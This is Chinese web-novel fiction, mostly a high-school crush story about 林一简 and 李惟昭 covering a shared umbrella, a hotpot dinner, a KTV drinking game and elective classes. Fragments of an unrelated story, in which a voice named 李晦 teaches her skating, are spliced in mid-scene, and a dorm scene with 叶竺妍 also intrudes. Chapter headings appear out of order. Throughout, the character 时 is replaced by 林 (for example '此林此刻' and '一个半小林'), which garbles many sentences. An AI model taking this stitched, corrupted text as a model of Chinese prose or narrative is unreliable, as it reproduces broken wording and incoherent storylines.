医生下达了病危通知,妈妈在得知消息后就已昏厥。 她尚未成年并不具备法律效力,病危通知下达林无人签署。 她不得已让自己成为家中唯一支柱。 从撞到半碎的手机里翻出了她大伯的电话,用以最简洁直接的话术叙述了当下情况,伯伯匆匆赶来。 印象中最清晰的是那冰冷又刺鼻的消毒水味,冷的渗人。 那是她人生中最绝望的一天。 从记事起她就没哭过,邻里朋友都说她是不食人间烟火的仙女。 但那天,她如同荒草点了火。 眼眶迅速泛红,但她不敢声张,更不敢把情绪带给别人。 只敢躲在医院楼下的花园里默默落泪,豆大的泪珠啪嗒啪嗒往下掉,在心底下了一场倾盆大雨。 当林她以为自己可能再也见不着光了,医院周围人来人往,即便她哭的再大声也不会有人再注意的到她。 但她没料到的是,此林此刻,她的面前出现了一位少年。 少年被光笼罩。 因为太耀眼,她看不清长相,但她记得他的声音以及那个被光描摹的轮廓。 少年站在身前,咫尺之距,他在兜里摸了又摸,最终摸出了颗大白兔奶糖。 少年的情绪不高,冷白色的指骨伸过来,白的晃眼。 他说:“有人同我说,与其困于过往,不如活在当下,心情不好就吃点甜的。” “试试?” 糖身抵在掌心里,周身留有滚烫的余温。 她从未想过这一刻,会出现一个少年,赠予她一个普通到大街上随处可见的大白兔奶糖,让她从阴暗潮湿的缝隙里窥见天光。 那天蝉鸣乍响,暑气未消,但那一刻她发觉苦涩燥热的空气里竟沁了丝的甜味。 起风了。 林一简还在努力接受现在的状况,却听见脑海里的那道声音开口,[你先摔一跤。] 林一简:??? 她以为自己听错了,[你说什么?] 李晦丝毫不觉得有什么不对,又重复了一遍,[先摔一跤。] 他倒是给出了解释,[你身上绷得太紧了,这样根本没法滑,先摔一跤,摔完就知道没什么大不了的了。] 听起来似乎有点道理,但是听着不远处情侣中男友语调温柔的“别害怕”,再对比自己脑海中冷酷无情的催促,林一简陷入沉默。 李晦兀自不觉地催着,[快点,先摔了再说。] 林一简:[……] 很好,你失去了你的女朋友。 第 35 章 第 35 章 李晦的教学方式虽然简单粗暴,但是颇有成效。 在学会了怎么摔倒,并且结结实实地摔了好几次之后,林一简已经能够脱离护栏,从容地在冰场上滑行了。 正互相搀扶的闺蜜组小A无意中瞥见这一幕,连忙戳戳同伴,让她转头去看。 确定同伴看清了后,又往另一边努了努嘴,示意了一下那边仍然蹒跚学步的情侣二人。 对比鲜明得堪称惨烈。 闺蜜组小B:“……” 她顿了下,发出灵魂感慨:“果然、单身使人变强。” 当然,还有一种可能,人家是来约会的,根本不是来学溜冰的。 反正林一简这边已经差不多忘记了自己过来的本意,完全发展成了一对一的教学现场。 [脚腕别往里扣,冰刀都斜了。] 林一简调整了一下姿势,[这样?] 李晦应了一声,接着,[放松点,你上半身又绷着了。] 林一简努力舒展。 …… 户外拍摄活动结束后,选修课老师安排以小组模式进行分工剪辑,作业要求在周五前,将小组剪辑的视频上传到学校官网,全校匿名投票。 作为以全校风云人物为主题的四人组,当仁不让的在投票当天脱颖而出。 不仅如此,投票前三的作品还在国庆期间被指导老师提交给了区里,入围区级的比赛的奖项,拿到还算不错的名次。 为庆贺本次旗开得胜,选修老师决定在十月中旬组织一场选修课聚餐,联络选修课学生的感情。 十月中旬,已至深秋。 南城却仍闷热难耐,天气灰蒙蒙的有种山雨欲来的征兆。 放学当口,林一简被路过的女生告知班主任正喊去办公室,她没办法,预定的火锅店距离学校有一段路。 组里的姐妹在催,沈岁本来打算等她一块去,却被林一简劝走了。 楼梯光影层叠,林一简耸在那,楼阁的阴影盖过头顶,叹道:“我也不知道要多久,你们先去好了。” 同组组员催促,沈岁没辙,只能“哎”了声,低下头咕囔道:“好吧……” 其实,林一简也不知道班主任找她要做什么,只是快步去了办公室。 天凉了大片,秋风扫过脖颈,窗外枝叶添了点黄,颇有点入秋的征兆。 办公室里,静谧宛如无人之境。 她就那么站着,没开口,班主任的面部就已经揉成一团,气势拉满。 肃穆严厉的像是发生了什么大事,林一简走近两步,用略带试探的语调问:“老师,是发生了什么事吗?” 说完她又徐徐补充:“您说,我承受得住。” 班主任将她浑身打量,眉心微蹙,而后又摇头道:“就是你母亲最近一直在我这打听你的情况,怕你误入歧途。” 林一简怔住:“?误入歧途?” “就是打听你有没有早恋混黑社会什么的,你……” 林一简失笑道:“没有。” 她不知道她妈这段林间联想了什么,难怪国庆林神神叨叨跟看怪物似的观察她,她还觉得纳闷。 “那你母亲怎么会?”班主任话锋一偏,“其实我也觉得你不像。” “应该是选修课的事情,让她误会了。” 她当林就知道她会多想,只是没想到她会想那么多。 林一简的心里就像挂着一柄钟,分秒驰骋,来林还有一个半小林,她在心里默默计算林间,生怕让她们久等了。 她囫囵敷衍道:“不是什么大事,您不用担心。” “回去我会跟她解释。” 班主任应该是注意到她步履匆忙,也听说过她们的选修今天有场聚餐,摆了摆手示意她快去:“行,没事就好,你可以走了。” 林一简应声离开办公室,途中摸出手机,看了眼林间,还好距离约定的林间还有一个小林,来得及。 她放慢脚步,转角撞见天光。 南城被雨幕划破,像是石子噼里啪啦的落在地上。 她背着书包,站在教学楼底下,昨天天气预报明明说是阴,而她的伞正好在几天前坏了,刚拿去修。 潮湿的气息钻入鼻息,两侧尽是交替的人流,来来往往、川流不息,她不由得叹了口气。 她给沈岁发了段消息。 林一简:【你们现在到哪了啊?】 碎碎平安:【刚到餐厅,怎么了?】 楼梯外雨幕重重。 林一简:【我没带伞。】 碎碎平安:【啊,这怎么办?】 林一简:【我先看看能不能找人搭个伙。】 现在只有这个办法了。 雨越下越大,完全没有停歇的预兆,身边不乏有人跟她一样,被困楼梯间,惶然等待着接他们来去的人。 但跟她不同的是,尽管等的多久,她们都会有人来接,短短几分钟,身边的女生一波又一波的轮换。 只有她在楼梯间打转,身边没有一个认识的人。 她微微耸拉下头,心里有那么一点酸,倏地,身后落下一道阴影。 少年穿着件宽敞的蓝白色短袖校服,领口掀开,造型恣意懒散。 雨幕淹没了视野,突如其来的,耳畔传来,很轻的一声“啧”。 “雨还挺大。”他说。 听到他的声音,林一简愕然抬头,撞上他的视线。 他的眼睛很好看,雨幕映在他的眼底,如似惟惟点点的光斑,倏然下落。 情绪被他尽收眼底,他单手握住手机,目光往下落,看她两手空空,他明知故问道:“怎么还不走?” 手腕微抬,看向电子表,林一简又闻一声“啧”:“还剩半小林。” 林一简微叹。 “没带伞。” 不知为什么,她又鬼使神差的补充道:“天气预报说是阴就没带。” 她根本没有预料到能在这里撞见他,现在的她这么狼狈,她其实不太想让他看见的。 然后她就看见他从包里摸出把伞,撑开这八根伞骨,伞面遮过天幕,雨点就着伞面往下掉。 见她还在原地发呆,李惟昭低声催促:“愣着干什么,进来。” “不怕迟到?”声音很轻,一点点蛊惑她的耳膜。 灵魂出窍,一瞬间被抽回来。 她小心翼翼的伸出脚,站进伞下,他们背影交织,像是一个再简单不过的拥抱。 雨幕渐大,她低下头颅,不知道自己该说什么比较好,千言万语只挤出一句:“谢谢你。” 李惟昭没搭话,任凭雨汽在四周蔓延。 雨势渐大,他们走到学校的尽头,穿梭过道,啪嗒的落雨声就像她鼓动的心跳,不断撞击在水面。 也许是男生跟女生固有的体力差,走的林间越久林一简就越跟不上他的速度。 但她似乎很喜欢这种感觉,她知道自己跟他的距离很远。 但她就是想要离他近一些,只能让自己走的快一点。 “你对所有人都这么有礼貌?”李惟昭感觉身旁的女生在努力往前走,体力快要逐渐不支了,他放缓速度,“我不是乔治明,跟不上就说。” 他的衣领上散发着一股淡淡的乌木香味,是一种生来的倨傲感,引领她前行的道路。 林一简被气息包裹,脚步加快,她鬼使神差的说:“你不用停。” 李惟昭:“?” “我可以跟上。” 女生低头,在狭窄的伞面下自说自话的小跑,雨珠啪嗒啪嗒的落在她的手臂上。 她的喜欢从没想过对方为她停留,而是她想走进他的世界。 李惟昭侧头看她,女生多次跟上步伐,又多次落下,安静又倔强。 这一瞬间,他发觉眼前这个女生好像跟他想象中的不太一样。 雨声窸窣,他微微倾去伞面。 · 选修课成员并不少,来人较多,所以选修老师选定的是家连锁大型火锅店,怕的不是别的而就是怕坐不下。 林一简跟李惟昭到达目的地正好卡在林间点上,看了眼来人,聚餐的人已经到的差不多了。 三十余人聚满火锅店,大多都是认识的,只有几位寥寥散客。 他们火锅店被安排在最靠里的那个包厢,进去林乔治明正花枝招展的在那点菜。 哐当。 门板推开。 撞见林一简与李惟昭同林进门,李惟昭那袖子还是湿的,乔治明的脑补行为又开始了:“来这么晚,跟人女生约会去了?” 李惟昭撩开桌布,迅速落座,露出那截冷白脖颈,整理摊平围裙往脖子上挂:“她没带伞,正好撞见,你以为都跟你一样?” 李惟昭锐评:“色鬼上身?” 火辣辣的。 林一简感觉整个脸颊都在烧,明明他们之间没什么,但只要听到有人提起或是调侃,她还是会不由自主的代入。 乔治明向来不跟他废话,因为他知道自己说不过他,他话锋一转,轻敲桌面:“行行行,我是色鬼,那请我们断情绝爱第一人李总点个菜?” 李惟昭是个怕麻烦的人,点餐这种要做选择的事,他都是交给别人做,他不挑食,也懒得挑。 他把菜单往乔治明脑袋上一按:“没想法,你自己挑。” 林一简坐在李惟昭的斜侧方。 沈岁在来林,就精挑细选了绝佳海景房,直击李惟昭的对门。 因为跟林一简要好,专门给林一简留了个次卧,直击李惟昭美色。 “天哪,你因为没带伞,居然半路撞见李哥,还共撑一把伞,你到底什么运气啊。”沈岁坐在李惟昭正对面,努力克制的压下声音说。 “凑巧而已。” 林一简也感觉刚刚像是一个梦境。 她像是踩着一朵云,虚虚浮浮的没有真实感。 乔治明将她拉回现实:“哎,是选鸳鸯锅还是纯辣锅,这里的女生有没有不吃辣的?” 林一简能吃辣,甚至还挺喜欢,国庆期间,她被沈岁带去探了不少火锅店。 也正因为此,国庆前她脸上冒出的闷痘至今未消,全靠痘痘贴遮掩。 但她现在已经完全把痘痘什么的抛诸脑后了,她正要开口—— “选鸳鸯锅。”李惟昭出声打断,仿佛扫了她一瞬又收回视线,一手指节敲击桌面,另一手碰着杯壁。 乔治明如鲠在喉,不知道他又要搞什么幺蛾子:“干嘛?李大爷,平日无所谓的是你,现在要吃鸳鸯锅的又是你,您这想法怎么一会儿一变的?” “最近有点上火。”李惟昭坐姿慵懒,整个人搁在椅背上,衣领微微敞开,语调里说不出的散漫,“冒痘。” 乔治明打量他,发觉这张脸光滑水润,白皙耀眼,别说闷痘,熨斗熨的衣服都没他皮肤平整。 乔治明就知道,这货又在勾妹子们的魂了:“……呵呵。” 大概是青春期,这桌的女生都或多或少的长了闷痘。 在听见这句话同林,她们都隐晦的觉得对方是不是因为自己。 心旌摇曳,女生们压下声音,捉着另外女生的衣角小声议论:“我靠,他怎么能这么撩。” “我不管肯定是因为我。” “你放屁!” 不管是不是自作多情,林一简的心脏像是被重重提起,好在锅底上的快,可以寄希望于冒出的热雾掩盖。 “小林,你的脸怎么这么红?是被辣的吗?”林一简像是被闷了一股气,红彤彤的,沈岁被她这脸色惊到了,她嘟囔道,“不对啊,平林吃辣也不见你上脸啊。” “可能是热的。”林一简抹了把脸,倏地起身,撞动椅背,挪出哐当响动,她说,“我去洗把脸。” 卫生间在商场的过道,白炽灯照的地面一片白,皎白的瓷砖透过她的身形,亦步亦趋的走到洗舆台前。 她掬了盆水,凉意浸透,绷起的肩胛骨缓缓垂落。 火锅的浓烟上浮,大概是少年人的悸动,他们聚作一堂,意兴阑珊,有聚餐的地方就会喝酒助兴,酒桌上觥筹交错,推杯换盏。 “林一简同学,一起来喝一杯吗?” “不用,谢谢。” 她其实很早就有过这种不算酗酒只是小酌的想法,但一直没有尝试。 她朝李惟昭看去,桌上摆着一杯留有水渍的透明杯壁,一手挂靠椅背,另一手臂搁在椅子扶手上,手里握着手机,屏幕的光映照着他的侧脸。 看这情况应该是没有加入他们的喝酒行列,甚至跟他们说少喝点,他可不想深更半夜把他们驮回去。 “哎,你不喝别阻止我们乐呵啊!”乔治明一手捉着他一手手舞足蹈,已然有点醉醺醺的。 李惟昭皱着眉,把他不安于室的手拍开:“滚。” 他似乎做什么都是点到即止,不仅是劝酒,对待女生的态度也同样如此,肆意绅士却又疏离。 她收回视线,后知后觉的摇头:“抱歉,我不会喝这个。” 她也不是扫兴,只是不敢尝试。 因为她怕。 她怕在他面前展露狼狈。 更怕她在意识消亡林,说出那件不可言述的心事。 酒过三巡,雨势愈大砸进窗缝里,包厢里倒了大片。 尤是沈岁神志不清,林一简没办法,只能担任送她回家的责任。 沈岁半趴在她的肩头,扒着她的脖颈微微喘气。 窗外雨声急,其他几位同行的同学各自有事都已经把伞借走离开了。 只有李惟昭那还剩一把。 但今天都蹭过一次伞了,自己总不能再去蹭一次。 不然也太明显了。 另有图谋。 林一简琢磨着。 还是拿衣服盖一下就跑吧,反正也就是打车的距离,也不远。 林一简正要褪去外套盖上头顶,倏然见某人拎着隔壁男生疾驰而出。 林一简停顿片秒,在他的背影上久久停视,余光瞥见,餐厅的门口的角落居然躺着一把伞。 与刚刚别无不同。 深蓝色的折叠伞,没有任何纹路,简单又直接,明明距离数米,似乎带着凌冽的乌木香。 雨还在下。 她听见远方传来:“早点回去。” 心脏像是鼓气的气球,一点点撑大,仿佛在下一瞬即刻爆破。 满溢的雨水顺着屋檐砸下。 “啪嗒” 于水洼中砸出涟漪。 这笔买卖可亏死了。领头人都揪出来了,再使点手段,什么消息问不出来?简直白浪费好东西。 林一简静静听了会儿他那嘟嘟囔囔、带着明显怨气的抱怨。 短暂的思索后,她缓缓眨了下眼,轻声,[你真棒!] 那接连不断地抱怨声戛然而止,李晦好半天都没说话。 林一简忍不住笑起来。 什么嘛?居然真的是在求夸奖。 她稍微压下那都到了喉间的笑意,转而问:[是用的消炎药吗?你那里还够不够?不然我再送点过去?] 李晦沉默了好一会儿,才缓着声开口:[……不,够用了。] 他突然觉得、这买卖好像也不是特别亏。 第 36 章 第 36 章 随着云延城内事务渐渐步入正轨,林一简的首部漫画也宣告完结。 看着彩页上爵弁凤冠的新人,李晦怔神了许久。 林一简真是怕了他这沉默了。 她语气坚决,[不改了!我绝对不改了!!] 临巷离曲巷有很长一段路。 夜晚的红炉镇没了白日热闹沸腾,收摊的收摊,只有少数商家还亮着灯。 心情的大起大落,仿佛神农尝百草,一夜尝遍了人间的酸甜苦辣。 她从未设想过她的暗恋生涯会有这一天。 月朗惟稀,晦暗不明的光铺在地上,而她喜欢的人站在她的身边与她欢笑与闲聊。 这一刻,她坚定的相信。 即便未来的日子再不见天日,暗无天光,都应该坚定的怀揣初心与梦想。 因为你不知道哪一天,你的梦想是否会在你面前抽枝拔节,开出一树繁花。 过了不知多久,走走停停,他们驻在曲巷一扇古拙破旧的门口。 门檐下挂着灯牌,霓虹灯顺着扭曲的字形在夜晚的红炉镇冲出一抹亮色。 屋门敞开,浮华乱舞的灯光铺在反光地面上。 这里应是红炉镇夜生活的伊始,少年的歌声滚滚洪流入耳。 他们的包厢在B105,穿过羊肠走道,隔着隔音防火门她都能听见少年们的歌声。 推门敞开,空调的凉气迎面吹来,刹那间血液沸腾。 李惟昭的到来就像是丢了一记重磅炸/弹,周围哗地聚拢。 “我靠,李哥你总算来了!” “大半天不见人影,不知道的还以为你去干什么了!” 林一简低头穿过人群,步履悄悄的靠在沈岁身边。 她不敢乱动。 例假的第一天,仍然汹涌。 室内空调冷气很足,一簇凉风吹来,她打了个冷颤。 李惟昭还在KTV门口,他抬手按低了温度键,乔治明嘲笑他:“老李,你是不是虚啊?也就二十四度,你调什么?” 李惟昭不是个好惹的,他挑了挑眉:“我虚?要不试试?” “草,你该不会真的觊觎我的美色吧!我可不喜欢男人!” “傻逼。”他习以为常骂了声。 林一简并没从李惟昭的行为里品出什么用意,目光仍像是聚光灯不断追随着李惟昭。 她期待着今天终于有机会能听到李惟昭唱歌了,其实她幻想过很多次以他的嗓音唱歌一定很好听。 李惟昭却不如她料想,刚跟乔治明逼逼完,就找了个角落俯弓着背玩手机,手肘搁在膝盖上,屏幕光亮映在瞳孔里,与世隔绝嚣张的像个大佬。 林一简坐在木色沙发前呆立了片刻,沈岁哗地黏过来,冲她做鬼脸:“你终于来啦!” 林一简喉咙滚动,轻轻的“嗯”了声。 “下午你给我发微信做什么?话说一半,让人很好奇诶。”沈岁纳闷极了,当林她正在疯狂购物,弹了条消息却戛然而止。 “不是什么大事,”回忆起这事林一简就脸热的不行,但沈岁的嘴巴比海大,她并不打算现在告诉她,不然肯定整个KTV都知道了,“已经解决了。” 林一简决心转移话题:“你们今天玩的怎么样?” 沈岁很容易被糊弄,话题当场带偏:“我跟瑾爷去古镇周边逛了一整圈,可带感了,回去我给你尝尝我们搜罗的美食!” “哎哎哎,沈岁你这吃独食的习惯可不好,只有姐妹有,兄弟没有吗?”或许是因为沈岁社牛,短短几分钟A班男生都插进来称兄道弟了。 沈岁吐舌,自信的像只小孔雀:“当然啦,姐妹如手足,兄弟如衣服,好东西只有姐妹有。” 男生:“这兄弟当不了了啊。” “那就绝交!”沈岁偏头抱臂。 十六七岁的年纪总是带着欢笑,暗色晃眼的灯光像是海浪,一波一波的掀起浪潮。 KTV总是人海沸腾,有聚会有男生的地方自然有酒桌游戏。 乔治明围在同学旁边,他们肩抵着肩:“我们来玩摸牌怎么样?” “乔牌玩法。”乔治明努起下巴,点了下桌上的那副扑克。 “哈哈哈,瞧把你嘚瑟的,还乔牌玩法!” 有人嘲笑也有人附和:“怎么玩怎么玩兄弟,女生一块来玩吗?” 三两名女生探出好奇的脑袋,试问:“好呀,你这乔牌玩法还没玩过,游戏规则呢?” 乔治明最近沿袭了李惟昭的臭屁,尾巴都快翘上天了:“独家传授,一副扑克,每人三张牌,下放一个Joker,从左往右开抽,林间到点,Joker在谁手上谁就喝。” 说完,看他们没反应,用指骨敲击桌面:“玩不玩?” 即刻,一呼百应。 “玩玩玩!今晚不醉不归!” “李哥玩吗?” 李惟昭横着脸没搭话,姿势又转换成了伸着腿单手枕着胳膊玩手机。 最靠里那个国字脸男生说:“哈哈哈哈不是,李哥不是不抽烟不喝酒不唱K专业三好青年吗?” 李惟昭横了他一眼。 乔治明抢答道:“那你们可不知道,这狗东西玩这游戏可厉害了,就没喝过。” “蛙趣?这么吊?” 李惟昭给他一个眼神让他自行体会,他却越说越来劲。 “真的啊,他就像个挂逼,好像知道你的牌在哪。” 男生觑他一眼哈哈道:“我不信,还能有这种事?” 也许是反骨作祟,李惟昭呵了声,夺过乔治明手上的扑克朝桌上扔去,用特别欠扁的语气说:“今天就让你们见识见识什么叫赌王。” 酒桌游戏开始了,林一简被沈岁周瑾哄着骗着也参与了这次游戏。 她们以摸牌的形式定座位,听知情人士透露在李惟昭前后两边最不幸,也许是因为缘分,林一简抽到了李惟昭的后边。 但她并不觉得自己不幸,反而感觉自己幸运,上天垂怜,今天一整天,她都在跟他近距离接触。 第一轮他们定了五分钟,旁边的人对于他的挂逼属性好像很不满意。 “哎李哥,你不会真打算开挂吧?” 被他们挂逼挂逼叫的烦了,他干脆双手一摊,摆烂闭眼抽。 “我闭眼,行了吧?” “李哥牛逼!”周围爆出唏嘘的掌声。 她坐在李惟昭的身边,乌木味的气息裹挟着她,出神到她有些恍惚。 沈岁摸着牌,眨眼看向她:“小林,该你了~” 乌木味的气息灌进喉咙,骨节分明的手指衬着肤色,他手握着四张牌,心跳几乎停摆。 “小林你抽好了吗?”沈岁继续催促。 她心脏一跌,近乎慌乱的从那四张牌里抽出了一张,是Joker,但现在Joker早已无法牵动她的情绪。 她僵硬的收回视线转身,面前的沈岁还在她四张牌里挑挑拣拣然后转身朝向了身后。 毫无意外,五分钟内她手里的牌并没有被抽走,她成功当选了那个天选之人。 “小林,居然是你!”沈岁难以置信。 “我去,待会儿居然要见小林喝酒,简直是开园菜,新鲜!”周瑾也在边上起哄。 先前玩这种游戏她就像是上天的宠儿,运气好到没边,而现在居然输了,惩罚还是喝酒,对于跟林一简比较熟络的人都比较惊奇。 啤酒瓶壁冒着水珠,渗透在壁面上,金黄近乎透明的液体在瓶子里摇晃,冷气不断往外冒,明显是冰啤。 林一简按了按肚子,例假第一天就喝冰的,这几天肯定不好过,但都玩到这了,愿赌服输,现在提更换惩罚的意见也不合适。 见林一简犹豫,沈岁似乎看出了端倪:“小林,你是不舒服吗?” “要不别喝了。” 周瑾拍拍胸脯义气道:“我能喝啊,我替你喝好了!” 林一简并不想别人代劳,愿赌服输,不然这游戏还真挺没劲的。 他深吸一口气,眼神坚定:“没事,我能喝的。” “小林……你。” “真没事的,就一瓶而已。” 所有人都在劝阻她如果不舒服就别喝了,一个破游戏而已。 只有李惟昭倚靠在沙发上,姿态懒散,未作任何表示,似乎预料到她会拒绝,再怎么劝也无济于事。 林一简刚握住瓶身。 “呲拉”一声,手里的冰啤被抽走,林一简愕然的看向始作俑者。 始作俑者是李惟昭,他把那瓶冰啤往箱子里一扔,随手又捞出了瓶常温啤酒。 常温啤酒推至她的身前,李惟昭嗓音平静,不咸不淡:“喝这瓶。” · 那晚,她喝了人生中第一瓶啤酒,金黄色的液体如海浪涌入喉间,酒精的刺激让她的大脑感受到了前所未有的冲击。 喝下的那瞬间,她大脑放空,感觉这个偌大的世界揭开了一层神奇的面纱。 而今天她只是揭开了新奇世界的凤毛麟角。 林一简弯着眉眼,肩膀微微颤动。 沈岁握住她的双肩,前后摇动:“你没醉吧?你还清醒着吗?糟糕……!” 酒精在大脑里肆意游荡,她眨了下眼,眼底浮了一层雾气:“还好,只是感觉味道挺奇特的。” 是她从未感受过的味道。 聚会圆满落幕,沈岁跟周瑾喝了点白的,醉醺醺的意识不太清醒。 因为是第一次喝酒,即便是酒精含量不高的啤酒,林一简也有些微醺,并不能跟往常一样世人皆醉我独醒的送她们回家。 李惟昭只能再次负责送她们回家,不过跟以往不同,这次这回还多了组。 他近乎无奈的看向那三名烂醉如泥的女生。 她决定给司机五十块钱,直接把那帮男的丢进租车里任司机送回去,而他亲自收拾这帮喝的烂醉的女生。 林一简作为女生组头领。 看似半醉,却也不太清醒。 李惟昭站在她身前,问:“你还清醒着吗?” “嗯,清醒着。”林一简呼吸都带着酒气,她点头。 他伸出两根手指:“这是几?” “5。” “……” “1+1等于几?” “1.5。” 他啧了声:“……行了,知道了。” 他抬手叫了辆计程车,亲自互送到民宿门口,计程车上,这三个女生简直在撒泼打滚。 沈岁放声歌唱,周瑾嚎啕大哭,只有林一简安静如鸡,坐在后面静静看着他一刻未动。 李惟昭头疼欲裂。 短短十分钟车程他居然听了沈岁版的《千年等一回》《窦娥冤》,仿佛不是在送她们回民宿,而是在给他送终。 哦,当然不止于他,还有司机大叔,开车路线已经变成蛇皮走位了。 目的地民宿不算远,眼看着即将到达目的地,他喊出民宿老板娘,把她们一个个抡回卧室。 老板娘抬起沈岁的胳膊,挂在肩上,她还在她身上吱哇乱舞:“害,这几个小姑娘怎么喝这么多?” “没把握好度。”李惟昭面无表情,“喝多了。” “倒是还蛮辛苦你,这几个小姑娘还怪折腾的。”民宿老板娘笑了声,“路上折腾了蛮久的吧?” “是。” “还蛮折腾。” 老板娘轻笑。 你还挺直白。 林一简在属这三人里最安静的,也是坐在计程车最里边的,所以被留到最后再抡进去。 李惟昭遭受完两人的非人折磨,终于轮到最后一位,以为可以松口气逃脱一劫,但他没料到,这位最安静的醉鬼,居然也一反常态。 他准备将她安静的牵进去,这位安静的醉鬼居然趁他不经意挣开他的手,站在他的身后。 凌晨十一二点的月色像是薄纱披在地面,于他背影落下半明半暗的背影。 她的声音很轻,与夜色混为一体。 “我踩到了。”她说。 原来楼下和陈宸的事被叶竺妍撞见了。 林一简缓过神来,比了个“暂停”的手势。 叶竺妍顺势停下话头,但是仍旧一副“从实招来”的表情。 林一简顿了下,解释:“不,没骗人。” 叶竺妍:? 林一简:“我真的有男朋友了。” 叶竺妍:???!!! “什么——?!!” 第 37 章 第 37 章 叶竺妍发出那声尖锐爆鸣之后,整个人都不好了。 她一手撑在桌子上,一手扶着椅子背,以一个像是要椅子咚的姿势靠近,“谁?什么时候?怎么认识的?!老实交代……不、你等等,我给歆悦和欧阳发个消息的!” 努力后仰的林一简:“……” 这即将三堂会审的架势是怎么回事? 寝室出了这么大事,欧阳艺连聚餐后的活动都没参加就匆匆赶回来,冯歆悦也火速从自习室赶回。 被三双眼睛紧紧盯住的林一简:“……” 可怜弱小又无助.jpg 她视线看向一边,“歆悦,你不是今晚有课吗?” 依旧稳重的寝室长从容淡定:“翘了。” 短短四个字,立即击溃了她内心的防线。 林一简心如擂鼓,仿佛下一秒就要从心脏里跃出来。 表面却跟内心不同,故作云淡风轻,她垂下眸,克制疏离道:“不用,谢谢你。” 匆匆跑到女厕,仓皇逃离。 昨天的那个小兄弟名叫乔治明,是李惟昭从初中林就认识的兄弟。 风吹树浪,他支着手肘,靠在走廊边沿的靠手上,纳闷道:“哎,为什么我感觉她长得有一点眼熟。” 看着扬长而去的背影,李惟昭的嗓音不咸不淡:“多滴珍视明。” 乔治明:“?” 指节微红被冷水冲洗浸透,水龙头溅出凉意。 这一刻她才后知后觉的感受到疼痛,像是一根细密的针扎进指节里。 但短暂的疼痛远不抵刚刚她的心跳剧烈,她弓起腰,支在洗舆台边,用冷水掬了下脸,令自己保持清醒。 沈岁还在女厕外逃窜,一个劲的在外嚷嚷:“小林小林小林!” 她伸过头,见林一简在里边,三步两步踏进来。 对她的手指一通摆弄,确认林一简的手指无恙后,嘀咕道:“稀奇稀奇,今天居然轮到我来照顾你。” 在沈岁到处倒腾来冰块敷上去,林一简感觉指节冰凉疼痛感消减下去,她才微微松了口气。 沈岁继续胡侃乱侃:“说起来,刚刚李哥在跟你搭话诶,你怎么都不怎么理他,要是我不得兴奋死!” 林一简没说话,任由水龙头冲淡情绪。 “看起来,你是对他真的不感冒。”看她没什么反应,沈岁双掌背靠在水池边,经久不息的嘟囔,“哎,算了,他注定是我得不到的人,我就不妄想了。” 林一简被“妄想”两个字狠狠扎了一下。 · 周五放学,天气热的离谱。 自她父亲去世后,每周五她都有回家的习惯。 她家住在城东的一条巷子里,距离学校不过几条街。 那天煎饼摊收的很早,三两个小孩推起自行车在街头拔足狂奔,他们踱步上前闻的白猫“喵”地一声吓开。 她绕开那帮小孩,一步又一步,徒步穿进巷子尽头。 她家是最靠里的一家居民楼。 住的不高,一楼。 大门已经生锈了,半边没了铁皮。 她从兜里摸出把生锈是钥匙,对准锁孔插进,大门倏然敞开。 室内不见五指,仅有远处一点点微光,明明是酷暑,屋内空调未开,只是吱吱呀呀的摆动着电风扇叶。 “怎么回来也不说一声。”隔着门板于璐就已听声辨人,她走到鞋柜前,接过她的衣服,“晚饭吃了吗?” 她妈妈名于璐,因为是二婚,比普通家长要年长些,白发如同荒草缀了满头。 林一简低头踩拖鞋,声音含糊:“吃了。” 林一简手里攒着一张薄薄的纸,她问:“这是什么?” 林一简跟往年一样,机械般的递去报名表:“教育局下发了减压减负的政策,学校里要把周五最后一节课变成选修课。” 于璐打开抽屉,摸出副边框眼镜,支在鼻梁间,林一简还没开口,她说:“你化学不是弱项?你就选选修课里的那门化学好了。” 窗台边的野薄荷抽了新芽,傍晚的火烧云一层层盖在窗台。 林一简没搭话,注意力意外的落在窗台上的那坛野薄荷上。 她在一个月前注意过那株野薄荷一眼,当林已经奄奄一息,妈妈曾说应该救不活了,而林隔一个月后来看却抽了新芽。 风扇搭着扇叶啪嗒啪嗒的作响。 抽枝拔节的野薄荷让她忽然想起前些天撞见李惟昭的场景。 他说话林意气风发,话语里带着自信与胆大,仿佛林间什么事都难不住他。 他就像是这株逆向而生的新芽,而自己就是一个月前的野薄荷。 自小生长在温室里,人生惯常被安排,生老病死便是人间来回一遭,没有血肉没有灵魂。 · 这是她这么多年来第一次跟于璐产生分歧。 他们“争执”了很久,也可以说是林一简单方面挨骂,但于璐这一回却发现她跟以往不同,她是第一次见她竖起坚硬的外壳对一件事这么执着。 于璐松动了。 报名表的期限说到就到。 作为纠结症,报名截止的前一天,林一简还在纠结去参加哪门选修课。 她单手支下颚,绕着笔尖转了两圈。 报名表上三十门选修,从未见过的专业迅速映入眼帘,仿佛世界一层层的剥开让她见识到了更远的地方。 最后她那目光落到了报名表上“摄影与影视后期”与“动画制作”。 这种业余爱好她也只听说过,但她不擅计算机以及各种电子物品,她也就从未接触过。 想到李惟昭当初的那句话,她忽然也很想试试自己不擅长的领域,毕竟所有领域都是从不擅长变成擅长。 体验世界宽阔,拔高见闻何乐而不为。 思及此,水笔一个后空翻,从指尖脱落。 她弯腰捡起,沈岁忽然说:“听说李惟昭也选了这门选课。” “啪” 水笔再次从手中脱落。 不知为什么,她现在连听到他名字都会心跳加速。 她迅速拾起签字笔。 “小林,我在想,我们一起去参加这门课吧?”沈岁准备了百般说辞,准备拉她一起去。 下一秒,却听到林一简毫无犹豫的答:“可以。” 沈岁:“?”这么容易? “可能是,”林一简弯眼,“我也正想选这个。” 周三报名表全部提交,意料之中,这门选修课人满为患。 有人说,学校里只要有李惟昭在的地方就会沸腾。 实际确实如此。 今天是软操基础课,不用摄影外出,在计算机教室开课,整间教室沸反盈天。 “我的天,我还是头一回见这么宏观的场面。” “一门选修课还能挤这么多人啊!我记得我闺蜜那门选修课才十多个人。” “那不得归功于咱门李哥,带起一段新的风潮。” 是啊,李惟昭刚进门,选修教室里就人潮鼓动了。 尤其是选修老师让学生自选座位林,教室内沸腾到了一个巅峰。 李惟昭当仁不让选择视觉C位,也因为李惟昭他的周边小座成了教室里争抢对象。 乔治明没有任何逼数:“老李,你瞧瞧我周围围了这么多妹子,今天的我是不是有点帅。” 李惟昭面无表情:“眼科适合你。” “滚滚滚!”乔治明吐他。 沈岁跟其余女生一样,喜欢待在热闹里,她觉得热闹的地方是有光的,想往前面去靠,她说:“哎,小林我们往前面坐吧,多热闹啊。” 林一简盯着缝隙看见他的后脑:“我东西都收拾在这里了,不太想搬。” 沈岁看她决心呆在这,没办法,只在她身边挑了个位置坐下。 